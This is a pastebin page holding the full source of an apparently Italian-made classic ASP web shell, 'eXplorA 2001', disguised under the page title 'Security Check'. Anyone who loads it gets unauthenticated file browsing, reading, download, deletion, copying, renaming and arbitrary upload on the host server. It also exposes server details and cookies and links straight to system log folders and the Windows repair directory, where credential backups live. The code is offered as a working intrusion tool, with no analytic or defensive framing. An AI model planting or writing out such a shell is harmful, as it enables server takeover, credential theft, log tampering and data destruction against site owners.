paste: Mine — pastebin.ca

<%
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Response.Buffer = true
ImgOFolder	= "http://liquidmirror.com/OFolder.gif"
ImgCFolder	= "http://liquidmirror.com/CFolder.gif"
'ImgOFolder	= "OFolder.gif"
'ImgCFolder	= "CFolder.gif"

If Request.QueryString("Download")="true" Then
	Usa = checkDownload
	strFile = Request.QueryString("strFile")
	strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
		If fso.FileExists(strFile)  Then
			if Usa = "ADO" then
				set ADOstream = Server.CreateObject("ADODB.Stream")
					ADOstream.Type = 1  'adTypeBinary
					ADOstream.Open
					ADOstream.LoadFromFile strFile
   					strContents = ADOstream.Read
  					ADOstream.Close
				Set ADOstream = Nothing
			else
				Set Out = fso.OpenTextFile (strFile, 1, FALSE, FALSE)
					strContents = Out.ReadAll
					Out.Close
				Set Out = Nothing
			end if	
			
    		'Write the contents out to the html stream
    		Select Case Right(strFile, 3)
    			Case "xxxx"
    				'work in progress
				Case Else
    				Response.ContentType = "text/octet-stream"
					Response.AddHeader "Content-disposition","filename=" & strFileName
    				Response.BinaryWrite strContents
    		End Select

		Else
		Response.Write "Error. File not found."
		end If
Set fso = nothing
Response.end
End If

If Request.QueryString("Delete")="true" Then
	strFile = Request.QueryString("strFile")
	strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
		If fso.FileExists(strFile)  Then
			Set a = fso.GetFile(strFile)
			a.delete
			Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
		Else
			Response.Write "Error. File not found."
		end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Copy")="true" Then
	strFile = Request.QueryString("strFile")
	strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
		If fso.FileExists(strFile)  Then
			Set a = fso.GetFile(strFile)
			a.copy (Request.QueryString("strDestPath"))
			Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
		Else
			Response.Write "Error. File not found."
		end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Rename")="true" Then
	strFile = Request.QueryString("strFile")
	strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
		If fso.FileExists(strFile)  Then
			Set a = fso.GetFile(strFile)
			a.copy (mid(strFile,1,len(strFile) - len(strFileName)) & Request.QueryString("strDestFileName"))
			a.delete
			Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
		Else
			Response.Write "Error. File not found."
		end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Read")="true" Then
	strFile = Request.QueryString("strFile")
	strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
        ilfile=server.mappath("strFile")
        Set file = CreateObject("Scripting.FileSystemObject")
        Set ilfile = file.OpenTextFile(strFile, 1, False)

                        counter=0
                        do while not ilfile.AtEndOfStream
                        counter=counter+1
                        illine=ilfile.readline
                        response.write illine & "<br>"
                        loop
                        ilfile.Close
set ilfile=nothing
set file=nothing
Response.end
End If


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Constants returned by Drive.DriveType
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const DriveTypeRemovable = 1
Const DriveTypeFixed = 2
Const DriveTypeNetwork = 3
Const DriveTypeCDROM = 4
Const DriveTypeRAMDisk = 5

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Constants returned by File.Attributes
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const FileAttrNormal   = 0
Const FileAttrReadOnly = 1
Const FileAttrHidden = 2
Const FileAttrSystem = 4
Const FileAttrVolume = 8
Const FileAttrDirectory = 16
Const FileAttrArchive = 32 
Const FileAttrAlias = 64
Const FileAttrCompressed = 128


%>    
    
    <HTML>
    <HEAD>
    	<TITLE>Security Check</TITLE>
    	
    	<STYLE>
A  {
	color : #0000CD;
	text-decoration : none;
	font-size : 12px;
	font-face: Terminal;
}

A:visited  {
	color : #0000CD;
	text-decoration : none;
}

A:hover  {
	color : #8A2BE2;
}    	


TD.table
{
	color : #000000;
	text-decoration : none;
	font-size : 10px;
	font-family : Terminal;
	text-align : left;
}

    	
    	</STYLE>
    </HEAD>

<br><hr color="#0000CD"><br>
<table cellpadding="3" cellspacing="3" border="5" bordercolor="#0000CD">
<tr>
<td align="left" bgcolor="#F8F8FF">
<font color="#0000CD" size="2"><b>� Info del server.</b></font>
</td>
<td align="left" bgcolor="#F8F8FF">
<font color="#0000CD" size="2"><b>� Info del client.</b></font>
</td>
</tr>
<tr>
<td align=left>
<div align=left><font color="#0000CD" size="3">
<b>User</b>: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> <br>
<b>ID</b>: <%=request.servervariables("SERVER_NAME")%> <br>
<b>IP</b>: <%=request.servervariables("LOCAL_ADDR")%> <br>
<b>HTTPD</b>: <%=request.servervariables("SERVER_SOFTWARE")%> <b>Port</b>: <%=request.servervariables("SERVER_PORT")%> <br>
<b>Dove sta il sito?</b>: <%=request.servervariables("APPL_PHYSICAL_PATH")%> <br>
<b>LogRoot</b>: <%=request.servervariables("APPL_MD_PATH")%> <br>
<b>Data</b>: <% =date() %> <br>
<b>Ora</b>: <%=time() %> <br>
<b>HTTPs</b>: <%=request.servervariables("HTTPS")%>
<br></font></div>
</td>
<td align="left" valign="top"><font color="#0000CD" size="3">
<b>Indirizzo locale</b>: <%=request.servervariables("REMOTE_ADDR")%> <br>
<b>Forwarded from</b> : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> <br>
<b>Via</b>: <%=request.servervariables("HTTP_VIA")%> <br>
<b>User Agent</b>: <%=request.servervariables("HTTP_USER_AGENT")%> <br>
<b>Wookie</b>: <%=request.servervariables("HTTP_WOOKIE")%> <br>
<b>Cache Control</b>: <%=request.servervariables("HTTP_CACHE_CONTROL")%> <br>
<b>Interfaccia</b>: <%=request.servervariables("GATEWAY_INTERFACE")%> <br>
<b>Protocollo</b>: <%=request.servervariables("SERVER_PROTOCOL")%> <br>
<b>Metodo</b>: <%=request.servervariables("REQUEST_METHOD")%> <br>
<b>Porta Remota</b>: <%=request.servervariables("REMOTE_PORT")%> <br>
<b>HTTP_COOKIE</b>: <%=request.servervariables("HTTP_COOKIE")%> <br>
</font></td></tr></table><br><hr color="#0000CD"><br>
<b><font color="#0000CD" size="3">Directory:</b></font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 1</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 2</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 3</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 4</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=<%=request.servervariables("APPL_PHYSICAL_PATH")%>"><font color="#0000CD" size="3">Site</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\repair\"><font color="#0000CD" size="3">Repair 1</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\winnt\repair\"><font color="#0000CD" size="3">Repair 2</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\repair\"><font color="#0000CD" size="3">Repair 3</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\repair\"><font color="#0000CD" size="3">Repair 4</font></a><font color="#0000CD" size="3"> - </font>

<br><hr color="#0000CD"><br>
<body bgColor=#ffffff>

 <CENTER><P ALIGN="CENTER">
 
    
    
    <%
    		strDir = Request("strPath")
    		if strDir = "" Then strDir = Server.MapPath("/")
    		If Right(strDir, 1) <> "\" Then strDir = strDir & "\"
    		strParse = strDir
    		lngPos = InStr(1, strParse, "\")
    		strOut = "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Left(strParse, lngPos) & "</A><BR>"

    		x = 2
    		Do While lngPos <> 0
    			oldPos = lngPos
    			lngPos = InStr(oldPos + 1, strParse, "\")
    			if lngPos = 0 Then Exit Do
    			For y = 1 to x
    				strIndent = strIndent & "&nbsp;"
    			Next 'y
    			strOut = strOut & strIndent & "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</A><BR>"
    			
    			x = x + 2
    			
    			if lngPos = Len(strParse) Then Exit Do
    		Loop
'    		Response.Write("<TD class=""table"">")
    		Response.Write(strOut)
    		strIndent = strIndent & "&nbsp;&nbsp;"
    		Set objFSObject = CreateObject("Scripting.FileSystemObject")
    		Set objFolder = objFSObject.GetFolder(strDir)
    		Set colFolders = objFolder.SubFolders
    		
    		For Each intFol in colFolders
    			strFName = intFol.name
    			Response.Write(strIndent & "<A HREF=""explore.asp?strPath=" & intFol.Path & """><IMG SRC="""&ImgCFolder&""" BORDER=""0""> " & strFName &"</a><br>" & vbcrlf)
    		Next 'intFol
    		
    		Set colFiles = objFolder.Files
%>

		</td>
    	<td bgcolor=#b0c4de width="250"><center><font face="Terminal"><font size="5px">������ 4WD ������ <br>For-Wide-Drives</font><br><br><br>eXplorA 2001 a</font></center></td>
	</tr>
</table>

<br>
<br>



<table width="100%" border="1" cellpadding=1 cellspacing=0 bordercolordark=#9370db bordercolorlight=#b0c4de bordercolor=#9370db>
	<tr bgcolor=#b0c4de>
		<td class="table">name</td>
		<td class="table">type</td>
		<td class="table">attrib</td>
		<td class="table">build</td>
		<td class="table">access</td>
		<td class="table">modificate</td>
		<td class="table">size</td>
		<td class="table">commands</td>
	</tr>
<%
for each colfile in colfiles%>
	<%=GenerateFileInformation(colFile)%> 
<%
next
%>
</TABLE>



<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
Const IncludeType = 2 
Dim UploadSizeLimit
Function GetUpload()
Dim Result
Set Result = Nothing
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
Dim CT, PosB, Boundary, Length, PosE
CT = Request.ServerVariables("HTTP_Content_Type") 
If LCase(Left(CT, 19)) = "multipart/form-data" Then 
PosB = InStr(LCase(CT), "boundary=") 
If PosB > 0 Then Boundary = Mid(CT, PosB + 9) 
PosB = InStr(LCase(CT), "boundary=") 
If PosB > 0 then 
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length")) 
If "" & UploadSizeLimit <> "" Then
UploadSizeLimit = CLng(UploadSizeLimit)
If Length > UploadSizeLimit Then
Request.BinaryRead (Length)
Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
Exit Function
End If
End If
If Length > 0 And Boundary <> "" Then 
Boundary = "--" & Boundary
Dim Head, Binary
Binary = Request.BinaryRead(Length) 
Set Result = SeparateFields(Binary, Boundary)
Binary = Empty 
Else
Err.Raise 10, "GetUpload", "Zero length request ."
End If
Else
Err.Raise 11, "GetUpload", "No file sent."
End If
Else
Err.Raise 1, "GetUpload", "Bad request method."
End If
Set GetUpload = Result
End Function
Function SeparateFields(Binary, Boundary)
Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
Dim Fields
Boundary = StringToBinary(Boundary)
PosOpenBoundary = InStrB(Binary, Boundary)
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
Set Fields = CreateObject("Scripting.Dictionary")
Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
Dim HeaderContent, FieldContent, bFieldContent
Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
Dim Field, TwoCharsAfterEndBoundary
PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
Set Field = CreateUploadField() 
Set FieldContent = CreateBinaryData()
FieldContent.ByteArray = bFieldContent
FieldContent.Length = LenB(bFieldContent)
Field.Name = FormFieldName
Field.ContentDisposition = Content_Disposition
Field.FilePath = SourceFileName
Field.FileName = GetFileName(SourceFileName)
Field.ContentType = Content_Type
Field.Length = FieldContent.Length
Set Field.Value = FieldContent
Fields.Add FormFieldName, Field
TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
isLastBoundary = TwoCharsAfterEndBoundary = "--"
If Not isLastBoundary Then 
PosOpenBoundary = PosCloseBoundary
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
End If
Loop
Set SeparateFields = Fields
End Function
Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
Name = (SeparateField(Head, "name=", ";")) 
If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
FileName = (SeparateField(Head, "filename=", ";")) 
If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
End Function
Function SeparateField(From, ByVal sStart, ByVal sEnd)
Dim PosB, PosE, sFrom
sFrom = LCase(From)
PosB = InStr(sFrom, sStart)
If PosB > 0 Then
PosB = PosB + Len(sStart)
PosE = InStr(PosB, sFrom, sEnd)
If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
If PosE = 0 Then PosE = Len(sFrom) + 1
SeparateField = Mid(From, PosB, PosE - PosB)
Else
SeparateField = Empty
End If
End Function
Function GetFileName(FullPath)
Dim Pos, PosF
PosF = 0
For Pos = Len(FullPath) To 1 Step -1
Select Case Mid(FullPath, Pos, 1)
Case "/", "\": PosF = Pos + 1: Pos = 0
End Select
Next
If PosF = 0 Then PosF = 1
GetFileName = Mid(FullPath, PosF)
End Function
Function BinaryToString(Binary)
dim cl1, cl2, cl3, pl1, pl2, pl3
Dim L
cl1 = 1
cl2 = 1
cl3 = 1
L = LenB(Binary)
Do While cl1<=L
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
cl1 = cl1 + 1
cl3 = cl3 + 1
if cl3>300 then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
if cl2>200 then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
BinaryToString = pl1 & pl2 & pl3
End Function
Function BinaryToStringold(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
BinaryToString = S
End Function
Function StringToBinary(String)
Dim I, B
For I=1 to len(String)
B = B & ChrB(Asc(Mid(String,I,1)))
Next
StringToBinary = B
End Function
Function vbsSaveAs(FileName, ByteArray)
Dim FS, TextStream
Set FS = CreateObject("Scripting.FileSystemObject")
Set TextStream = FS.CreateTextFile(FileName)
TextStream.Write BinaryToString(ByteArray) 
TextStream.Close
End Function
</SCRIPT>
<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
function CreateUploadField(){ return new uf_Init() }
function uf_Init(){
this.Name = null
this.ContentDisposition = null
this.FileName = null
this.FilePath = null
this.ContentType = null
this.Value = null
this.Length = null
}
function CreateBinaryData(){ return new bin_Init() }
function bin_Init(){
this.ByteArray = null
this.Length = null
this.String = jsBinaryToString
this.SaveAs = jsSaveAs
}
function jsBinaryToString(){
return BinaryToString(this.ByteArray)
}
function jsSaveAs(FileName){
return vbsSaveAs(FileName, this.ByteArray)
}
</SCRIPT>

<%
function Start()
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
Set Fields = GetUpload()
FilePath = Request.QueryString("strPath")
if len(FilePath) <> 0 then
	if mid(FilePath, len(FilePath), 1) <> "\" then FilePath = FilePath & "\"
	FilePath = FilePath & Fields("File1").Filename
else
	FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
end if

Fields("File1").Value.SaveAs FilePath
strFile = Request.QueryString("strFile")
strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
Response.redirect "explore.asp?strPath=" & Request.QueryString("strPath")
End If
end function
%>
<br><center>
<p>._.-�'�-._.->File Upload Zone<-._.-�'�-._.</p>
<p><form method=post ENCTYPE="multipart/form-data">
<p>File : 
  <input type="file" name="File1">
  <br>
  <input type="submit" Name="Action" value="Upload the file" style='font-family:Terminal;color:#0000CD' action=<%Start%>>
  <INPUT TYPE='HIDDEN' NAME='strPath' VALUE=" & Request.QueryString(strPath)>
</form></p></center>

<br>
<center><font face="Terminal" size="1px">
</p>
<p>�Copyright For-Wide-Drives</font></center> </p>

</body>
</html>
<%


Function ShowFileAttr(File) ' File can be a file or folder

   Dim S
   Dim Attr
   
   Attr = File.Attributes

   If Attr = 0 Then
      ShowFileAttr = "Normal"
      Exit Function
   End If

   If Attr And FileAttrDirectory Then S = S & "Dir "
   If Attr And FileAttrReadOnly Then S = S & "R "
   If Attr And FileAttrHidden Then S = S & "H "
   If Attr And FileAttrSystem Then S = S & "S "
   If Attr And FileAttrVolume Then S = S & "V "
   If Attr And FileAttrArchive Then S = S & "A "
   If Attr And FileAttrAlias Then S = S & "Al "
   If Attr And FileAttrCompressed Then S = S & "Compressed "

   ShowFileAttr = S

End Function

Function GenerateFileInformation(File)

   Dim S
'   jFilePath = replace(File.Path,"\","\\")
'   jFilePath = replace(jFilePath,"'","\'")

   S = "<tr><td class=""table""><A HREF=""explore.asp?Download=true&strFile=" & File.Path & """>" & File.Name & "</a></td>"
   S = S & "<td class=""table"">" & File.Type & "</td>"
   S = S & "<td class=""table"">" & ShowFileAttr(File) & "</td>"
   S = S & "<td class=""table"">" & File.DateCreated & "</td>"
   S = S & "<td class=""table"">"
   on error resume next
   S = S & File.DateLastAccessed 
   err.clear
   on error goto 0
   S = S & "</td>"
   S = S & "<td class=""table"">" & File.DateLastModified & "</td>"
   S = S & "<td class=""table"">" & File.Size & "</td>"
   S = S & "<td class=""table"">" & DelCopyRen(File) & "</td></tr>"

   GenerateFileInformation = S

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowFileAttr
' Purpose: 
'    Generates a string describing the attributes of a file or folder.
' Demonstrates the following 
'  - File.Attributes
'  - Folder.Attributes
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowFileAttr(File) ' File can be a file or folder

   Dim S
   Dim Attr
   
   Attr = File.Attributes

   If Attr = 0 Then
      ShowFileAttr = "Normal"
      Exit Function
   End If

   If Attr And FileAttrDirectory Then S = S & "Dir "
   If Attr And FileAttrReadOnly Then S = S & "R "
   If Attr And FileAttrHidden Then S = S & "H "
   If Attr And FileAttrSystem Then S = S & "S "
   If Attr And FileAttrVolume Then S = S & "V "
   If Attr And FileAttrArchive Then S = S & "A "
   If Attr And FileAttrAlias Then S = S & "Al "
   If Attr And FileAttrCompressed Then S = S & "Compressed "

   ShowFileAttr = S

End Function



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowDriveType
' Purpose: 
'    Generates a string describing the drive type of a given Drive object.
' Demonstrates the following 
'  - Drive.DriveType
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowDriveType(Drive)

   Dim S
   
   Select Case Drive.DriveType
   Case DriveTypeRemovable
      S = "Removable"
   Case DriveTypeFixed
      S = "Fixed"
   Case DriveTypeNetwork
      S = "Network"
   Case DriveTypeCDROM
      S = "CD-ROM"
   Case DriveTypeRAMDisk
      S = "RAM Disk"
   Case Else
      S = "Unknown"
   End Select

   ShowDriveType = S

End Function



function spazia(stringa,lunghezzatotale)
	spaz = ""
	for i = 1 to lunghezzatotale - len(stringa)
		spaz = spaz & " "
	next
	spazia = spaz
end function

function checkDownload()
	
	Dim ADOstream
	on error resume next
	'Create a stream object
	set ADOstream = Server.CreateObject("ADODB.Stream")
	if ADOstream is nothing then
		checkDownload = "FSO"
	else
		checkDownload = "ADO"  
	end if
	set ADOstream = nothing

	on error goto 0	
	
end function


Function DelCopyRen(File)

   Dim S

   S = "<A HREF=""explore.asp?Read=true&strFile=" & File & """>" & "Read " & "</a>"
   S = S & "<A HREF=""explore.asp?Delete=true&strFile=" & File & """>" & "Delete" & "</a>"
   S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='Copy' VALUE='true'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
   S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT1' VALUE='Copy to' "
   S = S & "style='width:50px;font-family:Terminal;color:#0000CD'>"
   S = S & " Destination Path: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestPath'></FORM>"
   S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='Rename' VALUE='true'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
   S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT2' VALUE='Rename to' "
   S = S & "style='width:60px;font-family:Terminal;color:#0000CD'>"
   S = S & " Destination FileName: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestFileName'></FORM>"
   
   DelCopyRen = S

End Function

%>